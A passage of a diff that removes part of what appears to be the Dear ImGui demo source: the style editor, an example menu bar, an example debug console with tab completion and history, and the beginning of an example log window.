&ref_saved_style; - - ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.50f); - - if (ImGui::ShowStyleSelector("Colors##Selector")) - ref_saved_style = style; - ImGui::ShowFontSelector("Fonts##Selector"); - - // Simplified Settings (expose floating-pointer border sizes as boolean representing 0.0f or 1.0f) - if (ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f")) - style.GrabRounding = style.FrameRounding; // Make GrabRounding always the same value as FrameRounding - { bool border = (style.WindowBorderSize > 0.0f); if (ImGui::Checkbox("WindowBorder", &border)) { style.WindowBorderSize = border ? 1.0f : 0.0f; } } - ImGui::SameLine(); - { bool border = (style.FrameBorderSize > 0.0f); if (ImGui::Checkbox("FrameBorder", &border)) { style.FrameBorderSize = border ? 1.0f : 0.0f; } } - ImGui::SameLine(); - { bool border = (style.PopupBorderSize > 0.0f); if (ImGui::Checkbox("PopupBorder", &border)) { style.PopupBorderSize = border ? 1.0f : 0.0f; } } - - // Save/Revert button - if (ImGui::Button("Save Ref")) - *ref = ref_saved_style = style; - ImGui::SameLine(); - if (ImGui::Button("Revert Ref")) - style = *ref; - ImGui::SameLine(); - HelpMarker( - "Save/Revert in local non-persistent storage. Default Colors definition are not affected. " - "Use \"Export\" below to save them somewhere."); - - ImGui::Separator(); - - if (ImGui::BeginTabBar("##tabs", ImGuiTabBarFlags_None)) - { - if (ImGui::BeginTabItem("Sizes")) - { - ImGui::Text("Main"); - ImGui::SliderFloat2("WindowPadding", (float*)&style.WindowPadding, 0.0f, 20.0f, "%.0f"); - ImGui::SliderFloat2("FramePadding", (float*)&style.FramePadding, 0.0f, 20.0f, "%.0f"); - ImGui::SliderFloat2("CellPadding", (float*)&style.CellPadding, 0.0f, 20.0f, "%.0f"); - ImGui::SliderFloat2("ItemSpacing", (float*)&style.ItemSpacing, 0.0f, 20.0f, "%.0f"); - ImGui::SliderFloat2("ItemInnerSpacing", (float*)&style.ItemInnerSpacing, 0.0f, 20.0f, "%.0f"); - ImGui::SliderFloat2("TouchExtraPadding", (float*)&style.TouchExtraPadding, 0.0f, 10.0f, "%.0f"); - ImGui::SliderFloat("IndentSpacing", &style.IndentSpacing, 0.0f, 30.0f, "%.0f"); - ImGui::SliderFloat("ScrollbarSize", &style.ScrollbarSize, 1.0f, 20.0f, "%.0f"); - ImGui::SliderFloat("GrabMinSize", &style.GrabMinSize, 1.0f, 20.0f, "%.0f"); - ImGui::Text("Borders"); - ImGui::SliderFloat("WindowBorderSize", &style.WindowBorderSize, 0.0f, 1.0f, "%.0f"); - ImGui::SliderFloat("ChildBorderSize", &style.ChildBorderSize, 0.0f, 1.0f, "%.0f"); - ImGui::SliderFloat("PopupBorderSize", &style.PopupBorderSize, 0.0f, 1.0f, "%.0f"); - ImGui::SliderFloat("FrameBorderSize", &style.FrameBorderSize, 0.0f, 1.0f, "%.0f"); - ImGui::SliderFloat("TabBorderSize", &style.TabBorderSize, 0.0f, 1.0f, "%.0f"); - ImGui::Text("Rounding"); - ImGui::SliderFloat("WindowRounding", &style.WindowRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("ChildRounding", &style.ChildRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("PopupRounding", &style.PopupRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("ScrollbarRounding", &style.ScrollbarRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("GrabRounding", &style.GrabRounding, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("LogSliderDeadzone", &style.LogSliderDeadzone, 0.0f, 12.0f, "%.0f"); - ImGui::SliderFloat("TabRounding", &style.TabRounding, 0.0f, 12.0f, "%.0f"); - ImGui::Text("Alignment"); - ImGui::SliderFloat2("WindowTitleAlign", (float*)&style.WindowTitleAlign, 0.0f, 1.0f, "%.2f"); - int window_menu_button_position = style.WindowMenuButtonPosition + 1; - if (ImGui::Combo("WindowMenuButtonPosition", (int*)&window_menu_button_position, "None\0Left\0Right\0")) - style.WindowMenuButtonPosition = window_menu_button_position - 1; - ImGui::Combo("ColorButtonPosition", (int*)&style.ColorButtonPosition, "Left\0Right\0"); - ImGui::SliderFloat2("ButtonTextAlign", (float*)&style.ButtonTextAlign, 0.0f, 1.0f, "%.2f"); - ImGui::SameLine(); HelpMarker("Alignment applies when a button is larger than its text content."); - ImGui::SliderFloat2("SelectableTextAlign", (float*)&style.SelectableTextAlign, 0.0f, 1.0f, "%.2f"); - ImGui::SameLine(); HelpMarker("Alignment applies when a selectable is larger than its text content."); - ImGui::Text("Safe Area Padding"); - ImGui::SameLine(); HelpMarker("Adjust if you cannot see the edges of your screen (e.g. on a TV where scaling has not been configured)."); - ImGui::SliderFloat2("DisplaySafeAreaPadding", (float*)&style.DisplaySafeAreaPadding, 0.0f, 30.0f, "%.0f"); - ImGui::EndTabItem(); - } - - if (ImGui::BeginTabItem("Colors")) - { - static int output_dest = 0; - static bool output_only_modified = true; - if (ImGui::Button("Export")) - { - if (output_dest == 0) - ImGui::LogToClipboard(); - else - ImGui::LogToTTY(); - ImGui::LogText("ImVec4* colors = ImGui::GetStyle().Colors;" IM_NEWLINE); - for (int i = 0; i < ImGuiCol_COUNT; i++) - { - const ImVec4& col = style.Colors[i]; - const char* name = ImGui::GetStyleColorName(i); - if (!output_only_modified || memcmp(&col, &ref->Colors[i], sizeof(ImVec4)) != 0) - ImGui::LogText("colors[ImGuiCol_%s]%*s= ImVec4(%.2ff, %.2ff, %.2ff, %.2ff);" IM_NEWLINE, - name, 23 - (int)strlen(name), "", col.x, col.y, col.z, col.w); - } - ImGui::LogFinish(); - } - ImGui::SameLine(); ImGui::SetNextItemWidth(120); ImGui::Combo("##output_type", &output_dest, "To Clipboard\0To TTY\0"); - ImGui::SameLine(); ImGui::Checkbox("Only Modified Colors", &output_only_modified); - - static ImGuiTextFilter filter; - filter.Draw("Filter colors", ImGui::GetFontSize() * 16); - - static ImGuiColorEditFlags alpha_flags = 0; - if (ImGui::RadioButton("Opaque", alpha_flags == ImGuiColorEditFlags_None)) { alpha_flags = ImGuiColorEditFlags_None; } ImGui::SameLine(); - if (ImGui::RadioButton("Alpha", alpha_flags == ImGuiColorEditFlags_AlphaPreview)) { alpha_flags = ImGuiColorEditFlags_AlphaPreview; } ImGui::SameLine(); - if (ImGui::RadioButton("Both", alpha_flags == ImGuiColorEditFlags_AlphaPreviewHalf)) { alpha_flags = ImGuiColorEditFlags_AlphaPreviewHalf; } ImGui::SameLine(); - HelpMarker( - "In the color list:\n" - "Left-click on color square to open color picker,\n" - "Right-click to open edit options menu."); - - ImGui::BeginChild("##colors", ImVec2(0, 0), true, ImGuiWindowFlags_AlwaysVerticalScrollbar | ImGuiWindowFlags_AlwaysHorizontalScrollbar | ImGuiWindowFlags_NavFlattened); - ImGui::PushItemWidth(-160); - for (int i = 0; i < ImGuiCol_COUNT; i++) - { - const char* name = ImGui::GetStyleColorName(i); - if (!filter.PassFilter(name)) - continue; - ImGui::PushID(i); - ImGui::ColorEdit4("##color", (float*)&style.Colors[i], ImGuiColorEditFlags_AlphaBar | alpha_flags); - if (memcmp(&style.Colors[i], &ref->Colors[i], sizeof(ImVec4)) != 0) - { - // Tips: in a real user application, you may want to merge and use an icon font into the main font, - // so instead of "Save"/"Revert" you'd use icons! - // Read the FAQ and docs/FONTS.md about using icon fonts. It's really easy and super convenient! - ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Save")) { ref->Colors[i] = style.Colors[i]; } - ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Revert")) { style.Colors[i] = ref->Colors[i]; } - } - ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); - ImGui::TextUnformatted(name); - ImGui::PopID(); - } - ImGui::PopItemWidth(); - ImGui::EndChild(); - - ImGui::EndTabItem(); - } - - if (ImGui::BeginTabItem("Fonts")) - { - ImGuiIO& io = ImGui::GetIO(); - ImFontAtlas* atlas = io.Fonts; - HelpMarker("Read FAQ and docs/FONTS.md for details on font loading."); - ImGui::PushItemWidth(120); - for (int i = 0; i < atlas->Fonts.Size; i++) - { - ImFont* font = atlas->Fonts[i]; - ImGui::PushID(font); - NodeFont(font); - ImGui::PopID(); - } - if (ImGui::TreeNode("Atlas texture", "Atlas texture (%dx%d pixels)", atlas->TexWidth, atlas->TexHeight)) - { - ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); - ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); - ImGui::Image(atlas->TexID, ImVec2((float)atlas->TexWidth, (float)atlas->TexHeight), ImVec2(0, 0), ImVec2(1, 1), tint_col, border_col); - ImGui::TreePop(); - } - - // Post-baking font scaling. Note that this is NOT the nice way of scaling fonts, read below. - // (we enforce hard clamping manually as by default DragFloat/SliderFloat allows CTRL+Click text to get out of bounds). - const float MIN_SCALE = 0.3f; - const float MAX_SCALE = 2.0f; - HelpMarker( - "Those are old settings provided for convenience.\n" - "However, the _correct_ way of scaling your UI is currently to reload your font at the designed size, " - "rebuild the font atlas, and call style.ScaleAllSizes() on a reference ImGuiStyle structure.\n" - "Using those settings here will give you poor quality results."); - static float window_scale = 1.0f; - if (ImGui::DragFloat("window scale", &window_scale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp)) // Scale only this window - ImGui::SetWindowFontScale(window_scale); - ImGui::DragFloat("global scale", &io.FontGlobalScale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp); // Scale everything - ImGui::PopItemWidth(); - - ImGui::EndTabItem(); - } - - if (ImGui::BeginTabItem("Rendering")) - { - ImGui::Checkbox("Anti-aliased lines", &style.AntiAliasedLines); - ImGui::SameLine(); - HelpMarker("When disabling anti-aliasing lines, you'll probably want to disable borders in your style as well."); - - ImGui::Checkbox("Anti-aliased lines use texture", &style.AntiAliasedLinesUseTex); - ImGui::SameLine(); - HelpMarker("Faster lines using texture data. Require backend to render with bilinear filtering (not point/nearest filtering)."); - - ImGui::Checkbox("Anti-aliased fill", &style.AntiAliasedFill); - ImGui::PushItemWidth(100); - ImGui::DragFloat("Curve Tessellation Tolerance", &style.CurveTessellationTol, 0.02f, 0.10f, 10.0f, "%.2f"); - if (style.CurveTessellationTol < 0.10f) style.CurveTessellationTol = 0.10f; - - // When editing the "Circle Segment Max Error" value, draw a preview of its effect on auto-tessellated circles. - ImGui::DragFloat("Circle Tessellation Max Error", &style.CircleTessellationMaxError , 0.005f, 0.10f, 5.0f, "%.2f", ImGuiSliderFlags_AlwaysClamp); - if (ImGui::IsItemActive()) - { - ImGui::SetNextWindowPos(ImGui::GetCursorScreenPos()); - ImGui::BeginTooltip(); - ImGui::TextUnformatted("(R = radius, N = number of segments)"); - ImGui::Spacing(); - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - const float min_widget_width = ImGui::CalcTextSize("N: MMM\nR: MMM").x; - for (int n = 0; n < 8; n++) - { - const float RAD_MIN = 5.0f; - const float RAD_MAX = 70.0f; - const float rad = RAD_MIN + (RAD_MAX - RAD_MIN) * (float)n / (8.0f - 1.0f); - - ImGui::BeginGroup(); - - ImGui::Text("R: %.f\nN: %d", rad, draw_list->_CalcCircleAutoSegmentCount(rad)); - - const float canvas_width = IM_MAX(min_widget_width, rad * 2.0f); - const float offset_x = floorf(canvas_width * 0.5f); - const float offset_y = floorf(RAD_MAX); - - const ImVec2 p1 = ImGui::GetCursorScreenPos(); - draw_list->AddCircle(ImVec2(p1.x + offset_x, p1.y + offset_y), rad, ImGui::GetColorU32(ImGuiCol_Text)); - ImGui::Dummy(ImVec2(canvas_width, RAD_MAX * 2)); - - /* - const ImVec2 p2 = ImGui::GetCursorScreenPos(); - draw_list->AddCircleFilled(ImVec2(p2.x + offset_x, p2.y + offset_y), rad, ImGui::GetColorU32(ImGuiCol_Text)); - ImGui::Dummy(ImVec2(canvas_width, RAD_MAX * 2)); - */ - - ImGui::EndGroup(); - ImGui::SameLine(); - } - ImGui::EndTooltip(); - } - ImGui::SameLine(); - HelpMarker("When drawing circle primitives with \"num_segments == 0\" tesselation will be calculated automatically."); - - ImGui::DragFloat("Global Alpha", &style.Alpha, 0.005f, 0.20f, 1.0f, "%.2f"); // Not exposing zero here so user doesn't "lose" the UI (zero alpha clips all widgets). But application code could have a toggle to switch between zero and non-zero. - ImGui::PopItemWidth(); - - ImGui::EndTabItem(); - } - - ImGui::EndTabBar(); - } - - ImGui::PopItemWidth(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() -//----------------------------------------------------------------------------- -// - ShowExampleAppMainMenuBar() -// - ShowExampleMenuFile() -//----------------------------------------------------------------------------- - -// Demonstrate creating a "main" fullscreen menu bar and populating it. -// Note the difference between BeginMainMenuBar() and BeginMenuBar(): -// - BeginMenuBar() = menu-bar inside current window (which needs the ImGuiWindowFlags_MenuBar flag!) -// - BeginMainMenuBar() = helper to create menu-bar-sized window at the top of the main viewport + call BeginMenuBar() into it. -static void ShowExampleAppMainMenuBar() -{ - if (ImGui::BeginMainMenuBar()) - { - if (ImGui::BeginMenu("File")) - { - ShowExampleMenuFile(); - ImGui::EndMenu(); - } - if (ImGui::BeginMenu("Edit")) - { - if (ImGui::MenuItem("Undo", "CTRL+Z")) {} - if (ImGui::MenuItem("Redo", "CTRL+Y", false, false)) {} // Disabled item - ImGui::Separator(); - if (ImGui::MenuItem("Cut", "CTRL+X")) {} - if (ImGui::MenuItem("Copy", "CTRL+C")) {} - if (ImGui::MenuItem("Paste", "CTRL+V")) {} - ImGui::EndMenu(); - } - ImGui::EndMainMenuBar(); - } -} - -// Note that shortcuts are currently provided for display only -// (future version will add explicit flags to BeginMenu() to request processing shortcuts) -static void ShowExampleMenuFile() -{ - ImGui::MenuItem("(demo menu)", NULL, false, false); - if (ImGui::MenuItem("New")) {} - if (ImGui::MenuItem("Open", "Ctrl+O")) {} - if (ImGui::BeginMenu("Open Recent")) - { - ImGui::MenuItem("fish_hat.c"); - ImGui::MenuItem("fish_hat.inl"); - ImGui::MenuItem("fish_hat.h"); - if (ImGui::BeginMenu("More..")) - { - ImGui::MenuItem("Hello"); - ImGui::MenuItem("Sailor"); - if (ImGui::BeginMenu("Recurse..")) - { - ShowExampleMenuFile(); - ImGui::EndMenu(); - } - ImGui::EndMenu(); - } - ImGui::EndMenu(); - } - if (ImGui::MenuItem("Save", "Ctrl+S")) {} - if (ImGui::MenuItem("Save As..")) {} - - ImGui::Separator(); - if (ImGui::BeginMenu("Options")) - { - static bool enabled = true; - ImGui::MenuItem("Enabled", "", &enabled); - ImGui::BeginChild("child", ImVec2(0, 60), true); - for (int i = 0; i < 10; i++) - ImGui::Text("Scrolling Text %d", i); - ImGui::EndChild(); - static float f = 0.5f; - static int n = 0; - ImGui::SliderFloat("Value", &f, 0.0f, 1.0f); - ImGui::InputFloat("Input", &f, 0.1f); - ImGui::Combo("Combo", &n, "Yes\0No\0Maybe\0\0"); - ImGui::EndMenu(); - } - - if (ImGui::BeginMenu("Colors")) - { - float sz = ImGui::GetTextLineHeight(); - for (int i = 0; i < ImGuiCol_COUNT; i++) - { - const char* name = ImGui::GetStyleColorName((ImGuiCol)i); - ImVec2 p = ImGui::GetCursorScreenPos(); - ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + sz, p.y + sz), ImGui::GetColorU32((ImGuiCol)i)); - ImGui::Dummy(ImVec2(sz, sz)); - ImGui::SameLine(); - ImGui::MenuItem(name); - } - ImGui::EndMenu(); - } - - // Here we demonstrate appending again to the "Options" menu (which we already created above) - // Of course in this demo it is a little bit silly that this function calls BeginMenu("Options") twice. - // In a real code-base using it would make senses to use this feature from very different code locations. - if (ImGui::BeginMenu("Options")) // <-- Append! - { - static bool b = true; - ImGui::Checkbox("SomeOption", &b); - ImGui::EndMenu(); - } - - if (ImGui::BeginMenu("Disabled", false)) // Disabled - { - IM_ASSERT(0); - } - if (ImGui::MenuItem("Checked", NULL, true)) {} - if (ImGui::MenuItem("Quit", "Alt+F4")) {} -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Debug Console / ShowExampleAppConsole() -//----------------------------------------------------------------------------- - -// Demonstrate creating a simple console window, with scrolling, filtering, completion and history. -// For the console example, we are using a more C++ like approach of declaring a class to hold both data and functions. -struct ExampleAppConsole -{ - char InputBuf[256]; - ImVector Items; - ImVector Commands; - ImVector History; - int HistoryPos; // -1: new line, 0..History.Size-1 browsing history. - ImGuiTextFilter Filter; - bool AutoScroll; - bool ScrollToBottom; - - ExampleAppConsole() - { - ClearLog(); - memset(InputBuf, 0, sizeof(InputBuf)); - HistoryPos = -1; - - // "CLASSIFY" is here to provide the test case where "C"+[tab] completes to "CL" and display multiple matches. - Commands.push_back("HELP"); - Commands.push_back("HISTORY"); - Commands.push_back("CLEAR"); - Commands.push_back("CLASSIFY"); - AutoScroll = true; - ScrollToBottom = false; - AddLog("Welcome to Dear ImGui!"); - } - ~ExampleAppConsole() - { - ClearLog(); - for (int i = 0; i < History.Size; i++) - free(History[i]); - } - - // Portable helpers - static int Stricmp(const char* s1, const char* s2) { int d; while ((d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; } return d; } - static int Strnicmp(const char* s1, const char* s2, int n) { int d = 0; while (n > 0 && (d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; n--; } return d; } - static char* Strdup(const char* s) { IM_ASSERT(s); size_t len = strlen(s) + 1; void* buf = malloc(len); IM_ASSERT(buf); return (char*)memcpy(buf, (const void*)s, len); } - static void Strtrim(char* s) { char* str_end = s + strlen(s); while (str_end > s && str_end[-1] == ' ') str_end--; *str_end = 0; } - - void ClearLog() - { - for (int i = 0; i < Items.Size; i++) - free(Items[i]); - Items.clear(); - } - - void AddLog(const char* fmt, ...) IM_FMTARGS(2) - { - // FIXME-OPT - char buf[1024]; - va_list args; - va_start(args, fmt); - vsnprintf(buf, IM_ARRAYSIZE(buf), fmt, args); - buf[IM_ARRAYSIZE(buf)-1] = 0; - va_end(args); - Items.push_back(Strdup(buf)); - } - - void Draw(const char* title, bool* p_open) - { - ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver); - if (!ImGui::Begin(title, p_open)) - { - ImGui::End(); - return; - } - - // As a specific feature guaranteed by the library, after calling Begin() the last Item represent the title bar. - // So e.g. IsItemHovered() will return true when hovering the title bar. - // Here we create a context menu only available from the title bar. - if (ImGui::BeginPopupContextItem()) - { - if (ImGui::MenuItem("Close Console")) - *p_open = false; - ImGui::EndPopup(); - } - - ImGui::TextWrapped( - "This example implements a console with basic coloring, completion (TAB key) and history (Up/Down keys). A more elaborate " - "implementation may want to store entries along with extra data such as timestamp, emitter, etc."); - ImGui::TextWrapped("Enter 'HELP' for help."); - - // TODO: display items starting from the bottom - - if (ImGui::SmallButton("Add Debug Text")) { AddLog("%d some text", Items.Size); AddLog("some more text"); AddLog("display very important message here!"); } - ImGui::SameLine(); - if (ImGui::SmallButton("Add Debug Error")) { AddLog("[error] something went wrong"); } - ImGui::SameLine(); - if (ImGui::SmallButton("Clear")) { ClearLog(); } - ImGui::SameLine(); - bool copy_to_clipboard = ImGui::SmallButton("Copy"); - //static float t = 0.0f; if (ImGui::GetTime() - t > 0.02f) { t = ImGui::GetTime(); AddLog("Spam %f", t); } - - ImGui::Separator(); - - // Options menu - if (ImGui::BeginPopup("Options")) - { - ImGui::Checkbox("Auto-scroll", &AutoScroll); - ImGui::EndPopup(); - } - - // Options, Filter - if (ImGui::Button("Options")) - ImGui::OpenPopup("Options"); - ImGui::SameLine(); - Filter.Draw("Filter (\"incl,-excl\") (\"error\")", 180); - ImGui::Separator(); - - // Reserve enough left-over height for 1 separator + 1 input text - const float footer_height_to_reserve = ImGui::GetStyle().ItemSpacing.y + ImGui::GetFrameHeightWithSpacing(); - ImGui::BeginChild("ScrollingRegion", ImVec2(0, -footer_height_to_reserve), false, ImGuiWindowFlags_HorizontalScrollbar); - if (ImGui::BeginPopupContextWindow()) - { - if (ImGui::Selectable("Clear")) ClearLog(); - ImGui::EndPopup(); - } - - // Display every line as a separate entry so we can change their color or add custom widgets. - // If you only want raw text you can use ImGui::TextUnformatted(log.begin(), log.end()); - // NB- if you have thousands of entries this approach may be too inefficient and may require user-side clipping - // to only process visible items. The clipper will automatically measure the height of your first item and then - // "seek" to display only items in the visible area. - // To use the clipper we can replace your standard loop: - // for (int i = 0; i < Items.Size; i++) - // With: - // ImGuiListClipper clipper; - // clipper.Begin(Items.Size); - // while (clipper.Step()) - // for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) - // - That your items are evenly spaced (same height) - // - That you have cheap random access to your elements (you can access them given their index, - // without processing all the ones before) - // You cannot this code as-is if a filter is active because it breaks the 'cheap random-access' property. - // We would need random-access on the post-filtered list. - // A typical application wanting coarse clipping and filtering may want to pre-compute an array of indices - // or offsets of items that passed the filtering test, recomputing this array when user changes the filter, - // and appending newly elements as they are inserted. This is left as a task to the user until we can manage - // to improve this example code! - // If your items are of variable height: - // - Split them into same height items would be simpler and facilitate random-seeking into your list. - // - Consider using manual call to IsRectVisible() and skipping extraneous decoration from your items. - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(4, 1)); // Tighten spacing - if (copy_to_clipboard) - ImGui::LogToClipboard(); - for (int i = 0; i < Items.Size; i++) - { - const char* item = Items[i]; - if (!Filter.PassFilter(item)) - continue; - - // Normally you would store more information in your item than just a string. - // (e.g. make Items[] an array of structure, store color/type etc.) - ImVec4 color; - bool has_color = false; - if (strstr(item, "[error]")) { color = ImVec4(1.0f, 0.4f, 0.4f, 1.0f); has_color = true; } - else if (strncmp(item, "# ", 2) == 0) { color = ImVec4(1.0f, 0.8f, 0.6f, 1.0f); has_color = true; } - if (has_color) - ImGui::PushStyleColor(ImGuiCol_Text, color); - ImGui::TextUnformatted(item); - if (has_color) - ImGui::PopStyleColor(); - } - if (copy_to_clipboard) - ImGui::LogFinish(); - - if (ScrollToBottom || (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY())) - ImGui::SetScrollHereY(1.0f); - ScrollToBottom = false; - - ImGui::PopStyleVar(); - ImGui::EndChild(); - ImGui::Separator(); - - // Command-line - bool reclaim_focus = false; - ImGuiInputTextFlags input_text_flags = ImGuiInputTextFlags_EnterReturnsTrue | ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_CallbackHistory; - if (ImGui::InputText("Input", InputBuf, IM_ARRAYSIZE(InputBuf), input_text_flags, &TextEditCallbackStub, (void*)this)) - { - char* s = InputBuf; - Strtrim(s); - if (s[0]) - ExecCommand(s); - strcpy(s, ""); - reclaim_focus = true; - } - - // Auto-focus on window apparition - ImGui::SetItemDefaultFocus(); - if (reclaim_focus) - ImGui::SetKeyboardFocusHere(-1); // Auto focus previous widget - - ImGui::End(); - } - - void ExecCommand(const char* command_line) - { - AddLog("# %s\n", command_line); - - // Insert into history. First find match and delete it so it can be pushed to the back. - // This isn't trying to be smart or optimal. - HistoryPos = -1; - for (int i = History.Size - 1; i >= 0; i--) - if (Stricmp(History[i], command_line) == 0) - { - free(History[i]); - History.erase(History.begin() + i); - break; - } - History.push_back(Strdup(command_line)); - - // Process command - if (Stricmp(command_line, "CLEAR") == 0) - { - ClearLog(); - } - else if (Stricmp(command_line, "HELP") == 0) - { - AddLog("Commands:"); - for (int i = 0; i < Commands.Size; i++) - AddLog("- %s", Commands[i]); - } - else if (Stricmp(command_line, "HISTORY") == 0) - { - int first = History.Size - 10; - for (int i = first > 0 ? first : 0; i < History.Size; i++) - AddLog("%3d: %s\n", i, History[i]); - } - else - { - AddLog("Unknown command: '%s'\n", command_line); - } - - // On command input, we scroll to bottom even if AutoScroll==false - ScrollToBottom = true; - } - - // In C++11 you'd be better off using lambdas for this sort of forwarding callbacks - static int TextEditCallbackStub(ImGuiInputTextCallbackData* data) - { - ExampleAppConsole* console = (ExampleAppConsole*)data->UserData; - return console->TextEditCallback(data); - } - - int TextEditCallback(ImGuiInputTextCallbackData* data) - { - //AddLog("cursor: %d, selection: %d-%d", data->CursorPos, data->SelectionStart, data->SelectionEnd); - switch (data->EventFlag) - { - case ImGuiInputTextFlags_CallbackCompletion: - { - // Example of TEXT COMPLETION - - // Locate beginning of current word - const char* word_end = data->Buf + data->CursorPos; - const char* word_start = word_end; - while (word_start > data->Buf) - { - const char c = word_start[-1]; - if (c == ' ' || c == '\t' || c == ',' || c == ';') - break; - word_start--; - } - - // Build a list of candidates - ImVector candidates; - for (int i = 0; i < Commands.Size; i++) - if (Strnicmp(Commands[i], word_start, (int)(word_end - word_start)) == 0) - candidates.push_back(Commands[i]); - - if (candidates.Size == 0) - { - // No match - AddLog("No match for \"%.*s\"!\n", (int)(word_end - word_start), word_start); - } - else if (candidates.Size == 1) - { - // Single match. Delete the beginning of the word and replace it entirely so we've got nice casing. - data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start)); - data->InsertChars(data->CursorPos, candidates[0]); - data->InsertChars(data->CursorPos, " "); - } - else - { - // Multiple matches. Complete as much as we can.. - // So inputing "C"+Tab will complete to "CL" then display "CLEAR" and "CLASSIFY" as matches. - int match_len = (int)(word_end - word_start); - for (;;) - { - int c = 0; - bool all_candidates_matches = true; - for (int i = 0; i < candidates.Size && all_candidates_matches; i++) - if (i == 0) - c = toupper(candidates[i][match_len]); - else if (c == 0 || c != toupper(candidates[i][match_len])) - all_candidates_matches = false; - if (!all_candidates_matches) - break; - match_len++; - } - - if (match_len > 0) - { - data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start)); - data->InsertChars(data->CursorPos, candidates[0], candidates[0] + match_len); - } - - // List matches - AddLog("Possible matches:\n"); - for (int i = 0; i < candidates.Size; i++) - AddLog("- %s\n", candidates[i]); - } - - break; - } - case ImGuiInputTextFlags_CallbackHistory: - { - // Example of HISTORY - const int prev_history_pos = HistoryPos; - if (data->EventKey == ImGuiKey_UpArrow) - { - if (HistoryPos == -1) - HistoryPos = History.Size - 1; - else if (HistoryPos > 0) - HistoryPos--; - } - else if (data->EventKey == ImGuiKey_DownArrow) - { - if (HistoryPos != -1) - if (++HistoryPos >= History.Size) - HistoryPos = -1; - } - - // A better implementation would preserve the data on the current input line along with cursor position. - if (prev_history_pos != HistoryPos) - { - const char* history_str = (HistoryPos >= 0) ? History[HistoryPos] : ""; - data->DeleteChars(0, data->BufTextLen); - data->InsertChars(0, history_str); - } - } - } - return 0; - } -}; - -static void ShowExampleAppConsole(bool* p_open) -{ - static ExampleAppConsole console; - console.Draw("Example: Console", p_open); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Debug Log / ShowExampleAppLog() -//----------------------------------------------------------------------------- - -// Usage: -// static ExampleAppLog my_log; -// my_log.AddLog("Hello %d world\n", 123); -// my_log.Draw("title"); -struct ExampleAppLog -{ - ImGuiTextBuffer Buf; - ImGuiTextFilter Filter; - ImVector LineOffsets; // Index to lines offset. We maintain this with AddLog() calls. - bool AutoScroll; // Keep scrolling if already at the bottom. - - ExampleAppLog() - { - AutoScroll = true; - Clear(); - } - - void Clear() - { - Buf.clear(); - LineOffsets.clear(); - LineOffsets.push_back(0); - } - - void AddLog(const char* fmt, ...) IM_FMTARGS(2) - { - int old_size = Buf.size(); - va_list args; - va_start(args, fmt); - Buf.appendfv(fmt, args); - va_end(args); - for (int new_size = Buf.size(); old_size < new_size; old_size++) - if (Buf[old_size] == '\n') - LineOffsets.push_back(old_size + 1); - } - - void Draw(const char* title, bool* p_open = NULL) - { - if (!ImGui::Begin(title, p_open)) - { - ImGui::End(); - return; - } - - // Options menu - if (ImGui::BeginPopup("Options")) - { - ImGui::Checkbox("Auto-scroll", &AutoScroll); - ImGui::EndPopup(); - } - - // Main window - if (ImGui::Button("Options")) - ImGui::OpenPopup("Options"); - ImGui::SameLine(); - bool clear = ImGui::Button("Clear"); - ImGui::SameLine(); - bool copy = ImGui::Button("Copy"); - ImGui::SameLine(); - Filter.Draw("Filter", -100.0f); - - ImGui::Separator(); - ImGui::BeginChild("scrolling", ImVec2(0, 0), false, ImGuiWindowFlags_HorizontalScrollbar); - - if (clear) - Clear(); - if (copy) - ImGui::LogToClipboard(); - - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); - const char* buf = Buf.begin(); - const char* buf_end = Buf.end(); - if (Filter.IsActive()) - { - // In this example we don't use the clipper when Filter is enabled. - // This is because we don't have a random access on the result on our filter. - // A real application processing logs with ten of thousands of entries may want to store the result of - // search/filter.. especially if the filtering function is not trivial (e.g. reg-exp). - for (int line_no = 0; line_no < LineOffsets.Size; line_no++) - { - const char* line_start = buf + LineOffsets[line_no]; - const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; - if (Filter.PassFilter(line_start, line_end)) - ImGui::TextUnformatted(line_start, line_end); - } - } - else - { - // The simplest and easy way to display the entire buffer: - // ImGui::TextUnformatted(buf_begin, buf_end); - // And it'll just work. TextUnformatted() has specialization for large blob of text and will fast-forward - // to skip non-visible lines. Here we instead demonstrate using the clipper to only process lines that are - // within the visible area. - // If you have tens of thousands of items and their processing cost is non-negligible, coarse clipping them - // on your side is recommended. Using ImGuiListClipper requires - // - A) random access into your data - // - B) items all being the same height, - // both of which we can handle since we an array pointing to the beginning of each line of text. - // When using the filter (in the block of code above) we don't have random access into the data to display - // anymore, which is why we don't use the clipper. Storing or skimming through the search result would make - // it 